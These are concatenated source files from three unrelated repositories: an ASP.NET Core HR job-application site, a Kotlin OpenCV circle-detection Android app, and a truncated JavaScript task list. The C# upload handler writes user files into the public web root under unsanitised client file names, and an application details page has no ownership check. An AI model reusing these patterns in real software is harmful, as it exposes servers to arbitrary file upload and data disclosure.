namespace HRApplication
{
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddDbContext<ApplicationDbContext>(options =>
options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));
services.AddDbContext<UserProfileContext>(options =>
options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));
services.AddDbContext<PositionContext>(options =>
options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));
services.AddDbContext<NotificationContext>(options => options.UseSqlServer(Configuration.GetConnectionString("NotificationContext")));
services.AddIdentity<ApplicationUser, IdentityRole>(
options =>
{
options.User.RequireUniqueEmail = true;
})
.AddEntityFrameworkStores<ApplicationDbContext>()
.AddDefaultTokenProviders();
services.Configure<IdentityOptions>(options =>
{
// Password settings
options.Password.RequireDigit = true;
options.Password.RequiredLength = 8;
options.Password.RequireNonAlphanumeric = false;
options.Password.RequireUppercase = true;
options.Password.RequireLowercase = false;
options.Password.RequiredUniqueChars = 6;
// Lockout settings
options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30);
options.Lockout.MaxFailedAccessAttempts = 10;
options.Lockout.AllowedForNewUsers = true;
// User settings
options.User.RequireUniqueEmail = true;
});
services.ConfigureApplicationCookie(options =>
{
// Cookie settings
options.Cookie.HttpOnly = true;
options.Cookie.Expiration = TimeSpan.FromDays(150);
options.LoginPath = "/Account/Login"; // If the LoginPath is not set here, ASP.NET Core will default to /Account/Login
options.LogoutPath = "/Account/Logout"; // If the LogoutPath is not set here, ASP.NET Core will default to /Account/Logout
options.AccessDeniedPath = "/Account/AccessDenied"; // If the AccessDeniedPath is not set here, ASP.NET Core will default to /Account/AccessDenied
options.SlidingExpiration = true;
});
// Add application services.
services.AddTransient<IEmailSender, EmailSender>();
services.AddAuthorization(options =>
{
options.AddPolicy("RequireHR", policy => policy.RequireRole("HR"));
});
services.AddMvc()
.AddRazorPagesOptions(options =>
{
options.Conventions.AuthorizePage("/Index");
options.Conventions.AuthorizeFolder("/Account/Manage");
options.Conventions.AuthorizePage("/Account/Logout");
options.Conventions.AuthorizeFolder("/Profile");
options.Conventions.AuthorizePage("/Profile/Create");
options.Conventions.AuthorizePage("/Profile/Edit");
options.Conventions.AuthorizeFolder("/Positions");
options.Conventions.AuthorizePage("/Positions/Create", "RequireHR");
options.Conventions.AuthorizePage("/Positions/Edit", "RequireHR");
options.Conventions.AuthorizePage("/Positions/Delete", "RequireHR");
options.Conventions.AuthorizeFolder("/Applications");
options.Conventions.AuthorizePage("/Positions/PositionApplications", "RequireHR");
});
// Register no-op EmailSender used by account confirmation and password reset during development
// For more information on how to enable account confirmation and password reset please visit https://go.microsoft.com/fwlink/?LinkID=532713
services.AddSingleton<IEmailSender, EmailSender>();
services.AddSingleton<IFileProvider>(
new PhysicalFileProvider(
Path.Combine(Directory.GetCurrentDirectory(), "wwwroot")));
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IHostingEnvironment env, IServiceProvider serviceProvider)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
app.UseBrowserLink();
app.UseDatabaseErrorPage();
}
else
{
app.UseExceptionHandler("/Error");
}
app.UseStaticFiles();
app.UseAuthentication();
app.UseMvc(routes =>
{
routes.MapRoute(
name: "default",
template: "{controller}/{action=Index}/{id?}");
});
CreateRolesAndUsers(serviceProvider).Wait();
}
private async Task CreateRolesAndUsers(IServiceProvider serviceProvider)
{
var RoleManager = serviceProvider.GetRequiredService<RoleManager<IdentityRole>>();
var UserManager = serviceProvider.GetRequiredService<UserManager<ApplicationUser>>();
string[] roleNames = { "Manager", "HR"};
IdentityResult roleResult;
foreach(var roleName in roleNames)
{
var roleExist = await RoleManager.RoleExistsAsync(roleName);
// ensure that the role does not exist
if (!roleExist)
{
//create the roles and seed them to the database:
roleResult = await RoleManager.CreateAsync(new IdentityRole(roleName));
}
}
// find the user with the manager email
var _manager = await UserManager.FindByEmailAsync("<EMAIL>");
if(_manager == null)
{
var manager = new ApplicationUser
{
UserName = "<EMAIL>",
Email = "<EMAIL>",
};
string managerPassword = "<PASSWORD>";
var createManager = await UserManager.CreateAsync(manager, managerPassword);
if (createManager.Succeeded)
{
await UserManager.AddToRoleAsync(manager, "Manager");
}
}
// find the user with the hr1 email
var _hr1 = await UserManager.FindByEmailAsync("<EMAIL>");
if (_hr1 == null)
{
var hr1 = new ApplicationUser
{
UserName = "<EMAIL>",
Email = "<EMAIL>",
};
string hr1Password = "<PASSWORD>";
var createHr1 = await UserManager.CreateAsync(hr1, hr1Password);
if (createHr1.Succeeded)
{
await UserManager.AddToRoleAsync(hr1, "HR");
}
}
// find the user with the hr2 email
var _hr2 = await UserManager.FindByEmailAsync("<EMAIL>");
if (_hr2 == null)
{
var hr2 = new ApplicationUser
{
UserName = "<EMAIL>",
Email = "<EMAIL>",
};
string hr2Password = "<PASSWORD>";
var createHr2 = await UserManager.CreateAsync(hr2, hr2Password);
if (createHr2.Succeeded)
{
await UserManager.AddToRoleAsync(hr2, "HR");
}
}
}
}
}
<file_sep>using HRApplication.Models;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace HRApplication.Data
{
public class NotificationContext : DbContext
{
public NotificationContext(DbContextOptions<NotificationContext> options) : base(options)
{
}
public DbSet<Notification> Notification { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
using HRApplication.Data;
using HRApplication.Models;
namespace HRApplication.Pages.Notifications
{
public class IndexModel : PageModel
{
private readonly HRApplication.Data.NotificationContext _context;
public IndexModel(HRApplication.Data.NotificationContext context)
{
_context = context;
}
public IList<Notification> Notification { get;set; }
public async Task OnGetAsync()
{
Notification = await _context.Notification.ToListAsync();
}
}
}
<file_sep>using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace HRApplication.Models
{
public class PositionContext : DbContext
{
private readonly UserProfileContext _context;
public PositionContext(DbContextOptions<PositionContext> options, UserProfileContext context)
: base(options)
{
_context = context;
}
public DbSet<Position> Position { get; set; }
public DbSet<Application> Application { get; set; }
public List<Position> getPositionsByCriteria(string column, string criteria)
{
string searchColumn = column.ToLower();
string searchCriteria = criteria.ToLower();
List<Position> res = new List<Position>();
foreach (Position position in Position.ToList())
{
switch (searchColumn)
{
case "id":
var pos = Position.Find(criteria);
if (pos != null)
{
res.Add(pos);
}
break;
case "location":
if (position.Location.ToLower().Contains(searchCriteria))
{
res.Add(position);
}
break;
case "title":
if (position.Title.ToLower().Contains(searchCriteria))
{
res.Add(position);
}
break;
case "description":
if (position.Description.ToLower().Contains(searchCriteria))
{
res.Add(position);
}
break;
default:
break;
}
}
return res;
}
public List<Application> GetApplicationsForUser(string userId)
{
List<Application> res = new List<Application>();
foreach(Application application in Application.ToList())
{
if (application.ApplicantID.Equals(userId))
{
res.Add(application);
}
}
return res;
}
public List<Application> GetApplicationsForPosition(string positionID)
{
List<Application> res = new List<Application>();
foreach (Application application in Application.ToList())
{
if (application.PositionID.Equals(positionID))
{
res.Add(application);
}
}
return res;
}
public List<Position> GetPositionsForApplications(List<Application> applications)
{
List<Position> res = new List<Position>();
foreach(Application application in applications)
{
res.Add(Position.SingleOrDefault(m => m.ID == application.PositionID));
}
return res;
}
public List<UserProfile> GetUserProfilesForApplications(List<Application> applications)
{
List<UserProfile> res = new List<UserProfile>();
foreach(Application application in applications)
{
res.Add(_context.UserProfile.SingleOrDefault(m => m.ID == application.ApplicantID));
}
return res;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
using HRApplication.Models;
using HRApplication.Data;
namespace HRApplication.Pages.Applications
{
public class DetailsModel : PageModel
{
private readonly HRApplication.Models.PositionContext _context;
private readonly UserProfileContext _profileContext;
public DetailsModel(HRApplication.Models.PositionContext context, UserProfileContext profileContext)
{
_context = context;
_profileContext = profileContext;
}
public Application Application { get; set; }
public Position Position { get; set; }
public UserProfile Profile { get; set; }
public async Task<IActionResult> OnGetAsync(string id)
{
if (id == null)
{
return NotFound();
}
Application = await _context.Application.SingleOrDefaultAsync(m => m.ID == id);
Position = await _context.Position.SingleOrDefaultAsync(m => m.ID == Application.PositionID);
Profile = await _profileContext.UserProfile.SingleOrDefaultAsync(m => m.ID == Application.ApplicantID);
if (Application == null)
{
return NotFound();
}
return Page();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
using HRApplication.Models;
using Microsoft.AspNetCore.Mvc.Rendering;
using System.ComponentModel.DataAnnotations;
namespace HRApplication.Pages.Positions
{
public class IndexModel : PageModel
{
private readonly HRApplication.Models.PositionContext _context;
public IndexModel(HRApplication.Models.PositionContext context)
{
_context = context;
}
public IList<Position> Position { get;set; }
public IList<SelectListItem> SearchCriteria { get; set; }
[BindProperty]
public string SearchText { get; set; }
[BindProperty]
public string SearchBy { get; set; }
public async Task OnGetAsync()
{
if(Position == null)
{
Position = await _context.Position.ToListAsync();
}
if(SearchCriteria == null)
{
SearchCriteria = (from t in typeof(Position).GetProperties()
select new SelectListItem { Text = t.Name, Value = t.Name }).ToList();
}
}
public async Task<IActionResult> OnPostAsync()
{
if(Position == null)
{
Position = await _context.Position.ToListAsync();
}
if(SearchCriteria == null)
{
SearchCriteria = (from t in typeof(Position).GetProperties()
select new SelectListItem { Text = t.Name, Value = t.Name }).ToList();
}
if (SearchBy == null)
{
ModelState.AddModelError("", "Choose Search By");
}
else if (SearchText == null)
{
ModelState.AddModelError("", "Enter Search Criteria");
}
else
{
Position = _context.getPositionsByCriteria(SearchBy, SearchText);
}
return Page();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.AspNetCore.Mvc.Rendering;
using HRApplication.Models;
using Microsoft.EntityFrameworkCore;
using Microsoft.AspNetCore.Identity;
using HRApplication.Data;
using Microsoft.AspNetCore.Http;
using System.IO;
namespace HRApplication.Pages.Applications
{
public class CreateModel : PageModel
{
private readonly HRApplication.Models.PositionContext _context;
private readonly UserManager<ApplicationUser> _userManager;
public CreateModel(HRApplication.Models.PositionContext context, UserManager<ApplicationUser> userManager)
{
_context = context;
_userManager = userManager;
}
[BindProperty]
public Application Application { get; set; }
[BindProperty]
public Position Position { get; set; }
public async Task<IActionResult> OnGetAsync(string id)
{
if (id == null)
{
return Redirect("/Positions");
}
else
{
Position = await _context.Position.SingleOrDefaultAsync(m => m.ID == id);
}
return Page();
}
public async Task<IActionResult> OnPostAsync(IFormFile resume, IFormFile coverLetter)
{
if (resume == null || resume.Length == 0)
{
ModelState.AddModelError("", "Resume file not selected");
return Page();
}
if (coverLetter == null || coverLetter.Length == 0)
{
ModelState.AddModelError("", "Cover Letter file not selected");
return Page();
}
// save resume on server
var resumePath = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot", resume.FileName);
using (var stream = new FileStream(resumePath, FileMode.Create))
{
await resume.CopyToAsync(stream);
}
// save cover letter on server
var coverLetterPath = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot", coverLetter.FileName);
using (var stream = new FileStream(coverLetterPath, FileMode.Create))
{
await coverLetter.CopyToAsync(stream);
}
// create new application and save it in db
Application.ApplicantID = (await _userManager.GetUserAsync(HttpContext.User)).Id.ToString();
Application.PositionID = Position.ID;
Application.ResumePath = resume.FileName;
Application.CoverLetterPath = coverLetter.FileName;
Application.Status = ApplicationStatus.Submitted;
_context.Application.Add(Application);
await _context.SaveChangesAsync();
return RedirectToPage("./MyApplications");
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
using HRApplication.Models;
namespace HRApplication.Pages.Applications
{
public class PositionApplicationsModel : PageModel
{
private readonly HRApplication.Models.PositionContext _context;
public PositionApplicationsModel(HRApplication.Models.PositionContext context)
{
_context = context;
}
public List<Application> Application { get;set; }
public List<UserProfile> Applicants { get; set; }
public async Task OnGetAsync(string id)
{
Application = _context.GetApplicationsForPosition(id);
Applicants = _context.GetUserProfilesForApplications(Application);
}
}
}
|
dba80eef967f905508e2258603cf11c2c6292741
|
[
"C#"
] | 14 |
C#
|
andersonda/hrapplication
|
a58c963bd4acc81473cd2ada094f275463249494
|
ab542268aa6df0ae37cfd8e4db76c6bf58dbe04e
|
refs/heads/master
|
<repo_name>alexokok/CirclesDetector<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/settings/SettingsPresenter.kt
package com.example.mazaevav.myapplication.ui.settings
import com.example.mazaevav.myapplication.ui.common.BasePresenter
import com.example.mazaevav.myapplication.utils.PrefUtils
/**
* @author <NAME>
*/
class SettingsPresenter: BasePresenter<SettingsContract.View>(), SettingsContract.Presenter {
private lateinit var prefUtils: PrefUtils
override fun initPresenter() {
view?.getContext()?.let { prefUtils = PrefUtils(it) }
}
override fun getColor() {
view?.setColor(prefUtils.getColorType())
}
override fun getBlackWhite() {
view?.setBlackWhite(prefUtils.getBlackWhite())
}
override fun onColorClick(colorIndex: Int) {
prefUtils.setColorType(colorIndex)
view?.setColor(colorIndex)
}
override fun onBlackWhiteClick(isBlackWhite: Boolean) {
prefUtils.setBlackWhite(isBlackWhite)
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/common/BasePresenter.kt
package com.example.mazaevav.myapplication.ui.common
/**
* @author <NAME>
*/
open class BasePresenter<V : BaseContract.View> : BaseContract.Presenter<V> {
var view: V? = null
override fun attachView(view: V) {
this.view = view
}
override fun detachView() {
view = null
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/settings/SettingsActivity.kt
package com.example.mazaevav.myapplication.ui.settings
import android.app.Activity
import android.content.Context
import android.content.Intent
import android.os.Bundle
import android.support.v7.app.AppCompatActivity
import com.example.mazaevav.myapplication.utils.PrefUtils
import kotlinx.android.synthetic.main.activity_settings.*
import org.jetbrains.anko.selector
import src.main.R
/**
* @author <NAME>
*/
class SettingsActivity : AppCompatActivity(), SettingsContract.View {
companion object {
fun showSettings(activity: Activity) {
val intent = Intent(activity, SettingsActivity::class.java)
activity.startActivity(intent)
}
}
private lateinit var colors: List<String>
private lateinit var presenter: SettingsPresenter
override fun getContext(): Context? = this
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_settings)
presenter = SettingsPresenter()
presenter.attachView(this)
presenter.initPresenter()
colors = resources.getStringArray(R.array.colors).toList()
initToolbar()
setListeners()
presenter.getColor()
}
private fun initToolbar(){
setSupportActionBar(toolbar)
supportActionBar?.title = getString(R.string.settings)
}
private fun setListeners(){
color_title.setOnClickListener { showColorDialog() }
color_value.setOnClickListener { showColorDialog() }
is_black_white.setOnCheckedChangeListener { _, b ->
presenter.onBlackWhiteClick(b)
}
}
override fun setColor(index: Int){
color_value.text = colors[index]
}
override fun setBlackWhite(isBlackWhite: Boolean) {
is_black_white.isChecked = isBlackWhite
}
private fun showColorDialog() {
val dialogTitle = getString(R.string.color_dialog_title)
selector(dialogTitle, colors, { dialogInterface, i ->
color_value.text = colors[i]
presenter.onColorClick(i)
dialogInterface.dismiss()
})
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/main/MainActivity.kt
package com.example.mazaevav.myapplication.ui.main
import android.app.Activity
import android.content.Context
import android.content.Intent
import android.os.Bundle
import android.support.v7.app.AppCompatActivity
import android.util.Log
import android.view.Menu
import android.view.MenuItem
import kotlinx.android.synthetic.main.activity_main.*
import org.opencv.android.*
import org.opencv.core.Mat
import src.main.R
import org.opencv.android.CameraBridgeViewBase
import com.example.mazaevav.myapplication.ui.settings.SettingsActivity
class MainActivity : AppCompatActivity(), MainContract.View,
CameraBridgeViewBase.CvCameraViewListener2 {
companion object {
val TAG = "src"
init {
if (!OpenCVLoader.initDebug()) {
Log.wtf(TAG, "OpenCV failed to load!")
}
}
fun navigateToMainActivity(activity: Activity) {
val intent = Intent(activity, MainActivity::class.java)
activity.startActivity(intent)
}
}
private var cameraView: JavaCameraView? = null
private lateinit var presenter: MainContract.Presenter
private val loaderCallback = object : BaseLoaderCallback(this) {
override fun onManagerConnected(status: Int) {
when (status) {
LoaderCallbackInterface.SUCCESS -> {
Log.i(TAG, "OpenCV loaded successfully")
cameraView!!.enableView()
}
else -> super.onManagerConnected(status)
}
}
}
override fun getContext(): Context? = this
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
presenter = MainPresenter()
presenter.attachView(this)
presenter.initPresenter()
initToolbar()
cameraView = findViewById(R.id.cameraview)
cameraView!!.setCvCameraViewListener(this)
}
override fun onCreateOptionsMenu(menu: Menu?): Boolean {
menuInflater.inflate(R.menu.main_menu, menu)
return super.onCreateOptionsMenu(menu)
}
override fun onOptionsItemSelected(item: MenuItem?): Boolean {
when (item?.itemId) {
R.id.settings -> {
callSettings()
}
else -> super.onOptionsItemSelected(item)
}
return super.onOptionsItemSelected(item)
}
override fun onResume() {
super.onResume()
OpenCVLoader.initAsync(OpenCVLoader.OPENCV_VERSION_3_0_0, this, loaderCallback)
}
override fun onPause() {
super.onPause()
if (cameraView != null)
cameraView!!.disableView()
}
override fun onCameraViewStarted(width: Int, height: Int) {}
override fun onCameraViewStopped() {}
override fun onCameraFrame(inputFrame: CameraBridgeViewBase.CvCameraViewFrame): Mat {
return presenter.onCameraFrame(inputFrame.rgba())
}
private fun callSettings() {
SettingsActivity.showSettings(this)
}
private fun initToolbar() {
setSupportActionBar(toolbar)
supportActionBar?.title = getString(R.string.app_name)
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/main/MainContract.kt
package com.example.mazaevav.myapplication.ui.main
import com.example.mazaevav.myapplication.ui.common.BaseContract
import org.opencv.core.Mat
/**
* @author <NAME>
*/
interface MainContract {
interface View : BaseContract.View {}
interface Presenter : BaseContract.Presenter<MainContract.View> {
fun initPresenter()
fun onCameraFrame(inputMat: Mat): Mat
}
}
<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/model/ColorType.kt
package com.example.mazaevav.myapplication.model
import org.opencv.core.Scalar
/**
* @author <NAME>
*/
enum class ColorType(val low1: Scalar, val high1: Scalar,
val low2: Scalar, val high2: Scalar) {
RED(low1 = Scalar(0.0, 150.0, 100.0),
high1 = Scalar(10.0, 255.0, 255.0),
low2 = Scalar(160.0, 150.0, 100.0),
high2 = Scalar(179.0, 255.0, 255.0)),
GREEN(low1 = Scalar(45.0, 100.0, 59.0),
high1 = Scalar(75.0, 255.0, 255.0),
low2 = Scalar(45.0, 100.0, 59.0),
high2 = Scalar(75.0, 255.0, 255.0)),
BLUE(low1 = Scalar(0.0, 136.0, 0.0),
high1 = Scalar(180.0, 255.0, 255.0),
low2 = Scalar(0.0, 136.0, 0.0),
high2 = Scalar(180.0, 255.0, 255.0))
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/main/MainPresenter.kt
package com.example.mazaevav.myapplication.ui.main
import com.example.mazaevav.myapplication.model.ColorType
import com.example.mazaevav.myapplication.model.ColorType.RED
import com.example.mazaevav.myapplication.ui.common.BasePresenter
import com.example.mazaevav.myapplication.utils.PrefUtils
import org.opencv.core.Core
import org.opencv.core.Mat
import org.opencv.core.Point
import org.opencv.core.Scalar
import org.opencv.core.Size
import org.opencv.imgproc.Imgproc
/**
* @author <NAME>
*/
class MainPresenter: BasePresenter<MainContract.View>(), MainContract.Presenter {
private lateinit var prefUtils: PrefUtils
override fun onCameraFrame(inputMat: Mat): Mat {
val color = ColorType.values()[prefUtils.getColorType()]
val hsvImage = Mat()
val hueImage = Mat()
val circles = Mat()
Imgproc.medianBlur(inputMat, inputMat, 3)
Imgproc.cvtColor(inputMat, hsvImage, Imgproc.COLOR_RGB2HSV)
when (color) {
RED -> {
val lowerRedHueRange = Mat()
val upperRedHueRange = Mat()
Core.inRange(hsvImage, color.low1, color.high1, lowerRedHueRange)
Core.inRange(hsvImage, color.low2, color.high2, upperRedHueRange)
Core.addWeighted(lowerRedHueRange, 1.0, upperRedHueRange, 1.0, 0.0, hueImage)
}
else -> {
Core.inRange(hsvImage, color.low1, color.high1, hueImage)
}
}
Imgproc.GaussianBlur(hueImage, hueImage, Size(9.0, 9.0), 2.0, 2.0)
Imgproc.HoughCircles(hueImage, circles, Imgproc.CV_HOUGH_GRADIENT, 1.0,
hueImage.rows() / 8.toDouble(), 100.0, 20.0, 0, 0)
if (circles.cols() > 0) {
for (x in 0 until Math.min(circles.cols(), 5)) {
val circleVec = circles.get(0, x) ?: break
val center = Point(circleVec[0].toInt().toDouble(), circleVec[1].toInt().toDouble())
val radius = circleVec[2].toInt()
Imgproc.circle(inputMat, center, 3, Scalar(0.0, 255.0, 0.0), 5)
Imgproc.circle(inputMat, center, radius, Scalar(0.0, 255.0, 0.0), 2)
}
}
return inputMat
}
override fun initPresenter() {
view?.getContext()?.let { prefUtils = PrefUtils(it) }
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/common/BaseContract.kt
package com.example.mazaevav.myapplication.ui.common
import android.content.Context
/**
* @author <NAME>
*/
interface BaseContract {
interface View {
fun getContext(): Context?
}
interface Presenter<in V : View> {
fun attachView(view: V)
fun detachView()
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/SplashActivity.kt
package com.example.mazaevav.myapplication.ui
import android.Manifest
import android.content.pm.PackageManager
import android.os.Bundle
import android.support.design.widget.Snackbar
import android.support.v4.app.ActivityCompat
import android.support.v4.content.ContextCompat
import android.support.v7.app.AppCompatActivity
import com.example.mazaevav.myapplication.ui.main.MainActivity
import src.main.R
/**
* @author <NAME>
*/
class SplashActivity : AppCompatActivity() {
companion object {
private const val MY_PERMISSIONS_REQUEST_CAMERA = 1111
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
checkPermissions()
}
private fun checkPermissions() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) !=
PackageManager.PERMISSION_GRANTED) {
if (ActivityCompat.shouldShowRequestPermissionRationale(this,
Manifest.permission.CAMERA)) {
showSecondaryPermissionsSnack()
} else {
showPermissionsRequest()
}
} else {
navigateToMainScreen()
}
}
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<out String>,
grantResults: IntArray) {
if(requestCode == MY_PERMISSIONS_REQUEST_CAMERA && grantResults.isNotEmpty()) {
if(grantResults[0] > -1) {
navigateToMainScreen()
} else {
showSecondaryPermissionsSnack()
}
}
}
private fun navigateToMainScreen(){
MainActivity.navigateToMainActivity(this)
finish()
}
private fun showPermissionsRequest(){
ActivityCompat
.requestPermissions(this, arrayOf(Manifest.permission.CAMERA),
MY_PERMISSIONS_REQUEST_CAMERA)
}
private fun showSecondaryPermissionsSnack() {
Snackbar.make(findViewById(android.R.id.content),
R.string.permission_dialog,
Snackbar.LENGTH_INDEFINITE)
.setAction(R.string.action_accept) { showPermissionsRequest() }
.show()
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/utils/PrefUtils.kt
package com.example.mazaevav.myapplication.utils
import android.content.Context
import android.preference.PreferenceManager
import com.example.mazaevav.myapplication.model.ColorType
/**
* @author <NAME>
*/
class PrefUtils(private val context: Context){
companion object {
const val PREF_COLOR = "pref_color"
const val PREF_BLACK_WHITE = "pref_black_white"
}
fun getColorType(): Int {
val sp = PreferenceManager.getDefaultSharedPreferences(context)
return sp.getInt(PREF_COLOR, 0)
}
fun setColorType(colorType: Int){
val sp = PreferenceManager.getDefaultSharedPreferences(context)
sp.edit().putInt(PREF_COLOR, colorType).apply()
}
fun getBlackWhite(): Boolean {
val sp = PreferenceManager.getDefaultSharedPreferences(context)
return sp.getBoolean(PREF_BLACK_WHITE, false)
}
fun setBlackWhite(isBlackWhite: Boolean) {
val sp = PreferenceManager.getDefaultSharedPreferences(context)
sp.edit().putBoolean(PREF_BLACK_WHITE, isBlackWhite).apply()
}
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/common/BaseView.kt
package com.example.mazaevav.myapplication.ui.common
import android.content.Context
/**
* @author <NAME>
*/
open class BaseView: BaseContract.View{
override fun getContext(): Context? = null
}<file_sep>/app/src/main/java/com/example/mazaevav/myapplication/ui/settings/SettingsContract.kt
package com.example.mazaevav.myapplication.ui.settings
import com.example.mazaevav.myapplication.ui.common.BaseContract
/**
* @author <NAME>
*/
interface SettingsContract{
interface View: BaseContract.View {
fun setColor(index: Int)
fun setBlackWhite(isBlackWhite: Boolean)
}
interface Presenter: BaseContract.Presenter<SettingsContract.View> {
fun initPresenter()
fun getColor()
fun getBlackWhite()
fun onColorClick(colorIndex: Int)
fun onBlackWhiteClick(isBlackWhite: Boolean)
}
}
|
52a526fa4f98f72a17ea4b7f1b839c2bc33f9327
|
[
"Kotlin"
] | 12 |
Kotlin
|
alexokok/CirclesDetector
|
7da16e046ebd6bc92e71b67ed69ed4ecf8bba7d4
|
0bc36953347a0f083e9a0b4285b05b9bad35f322
|
refs/heads/master
|
<repo_name>Misha842911/Connect_auto<file_sep>/src/test/java/test/pages/LoginWindow.java
package test.java.test.pages;
import org.apache.log4j.LogManager;
import org.apache.log4j.Logger;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.ui.WebDriverWait;
import test.java.utils.PropertyLoader;
public class LoginWindow {
private Logger logger = LogManager.getLogger(LoginWindow.class);
WebDriver driver;
WebDriverWait wait;
By emailFieldBy = By.xpath("//input[@maxlength='255']");
By passwordFieldBy = By.xpath("//input[@maxlength='16']");
By logInButtonBy = By.xpath("(//div[@class='flex_1 text-right']/btn)[1]");
By rememberMeCheckBoxBy = By.xpath(("*//input[@data-bind='returnKey: login, checked: myRememberMe']"));
By createANewAccountLinkBy = By.xpath(("(*//a[@class='htooltip'])[1]"));
By closeBy = By.xpath("(*//div[@class='close'])[1]");
By windowRightBy = By.xpath("(*//div[@class='flex_2'])[2]");
By minimizeBy = By.xpath("(*//div[@class='minimize'])[1]");
// String password = "<PASSWORD>";
public LoginWindow(WebDriver driver){
this.driver = driver;
wait = new WebDriverWait(driver, 10, 500);
}
public LoginWindow enterCredentials(){
WebElement emailField = driver.findElement(emailFieldBy);
emailField.sendKeys(PropertyLoader.loadProperty("loginemail"));
WebElement passwordField = driver.findElement(passwordFieldBy);
passwordField.sendKeys(PropertyLoader.loadProperty("password"));
logger.info("Credentials were entered");
return this;
}
public LoginWindow enterCredentialsRememberMe(){
logger.info("Credentials were entered for 'RememberMe'");
WebElement emailField = driver.findElement(emailFieldBy);
emailField.sendKeys("<EMAIL>");
WebElement passwordField = driver.findElement(passwordFieldBy);
passwordField.sendKeys(PropertyLoader.loadProperty("password"));
return this;
}
public LoginWindow clickloginBtn(){
logger.info("Click 'Login' button");
WebElement logInButton = driver.findElement(logInButtonBy);
logInButton.click();
return this;
}
public LoginWindow clickRememberMeCheckBox(){
logger.info("Click 'RememberMe' checkBox");
WebElement rememberMeCheckBox = driver.findElement(rememberMeCheckBoxBy);
rememberMeCheckBox.click();
return this;
}
public LoginWindow clickCreateANewAccountLink(){
logger.info("Click 'CreateANewAccount' link");
WebElement createANewAccountLink = driver.findElement(createANewAccountLinkBy);
createANewAccountLink.click();
return this;
}
public LoginWindow clickClose(){
logger.info("Click 'Close'");
WebElement Close = driver.findElement(closeBy);
Close.click();
return this;
}
public LoginWindow clickWindowRight(){
logger.info("Click right field");
WebElement WindowRight = driver.findElement(windowRightBy);
WindowRight.click();
return this;
}
public LoginWindow clickMinimize() {
logger.info("Click 'Minimize'");
WebElement minimize = driver.findElement(minimizeBy);
minimize.click();
return this;
}
}
<file_sep>/src/test/java/test/pages/BasePage.java
package test.java.test.pages;
public abstract class BasePage {
abstract BasePage open();
}
|
9443e756c1b4eda2ad04981a699314439b4f4cd8
|
[
"Java"
] | 2 |
Java
|
Misha842911/Connect_auto
|
a72f39cd2aeffe31ac396b019765f9bb5ddf2325
|
f83273342400d145d6c664266dbd3f9b19b83da6
|
refs/heads/master
|
<repo_name>nickupx/ahj-events-1<file_sep>/src/js/tasklist.js
/* eslint-disable max-len */
/* eslint-disable class-methods-use-this */
import Task from './task'
export default class Tasklist {
constructor() {
this.tasks = []
this.input = document.getElementById('tl-input')
}
add(title) {
const task = new Task(this.tasks.length, title, false)
this.tasks.push(task)
}
// тут можно один метод написать динамический, но лень :-)
renderUnpinned(arr) {
const block = document.getElementById('tl-all-list')
const unpinned = arr.filter((item) => !item.isPinned)
if (unpinned.length) {
let html = ''
for (const item of unpinned) {
html += `
<div class="task-item" data-id="${item.id}">
<div>${item.title}</div>
<div><input type="checkbox" data-id="${item.id}" class="checkbox-all"></div>
</div>
`
}
block.innerHTML = html
const checkboxes = document.querySelectorAll('input.checkbox-all')
for (const item of checkboxes) {
item.addEventListener('change', () => {
this.tasks[item.dataset.id].pin()
this.renderTasks()
})
}
} else {
block.textContent = 'No tasks'
}
}
renderPinned(arr) {
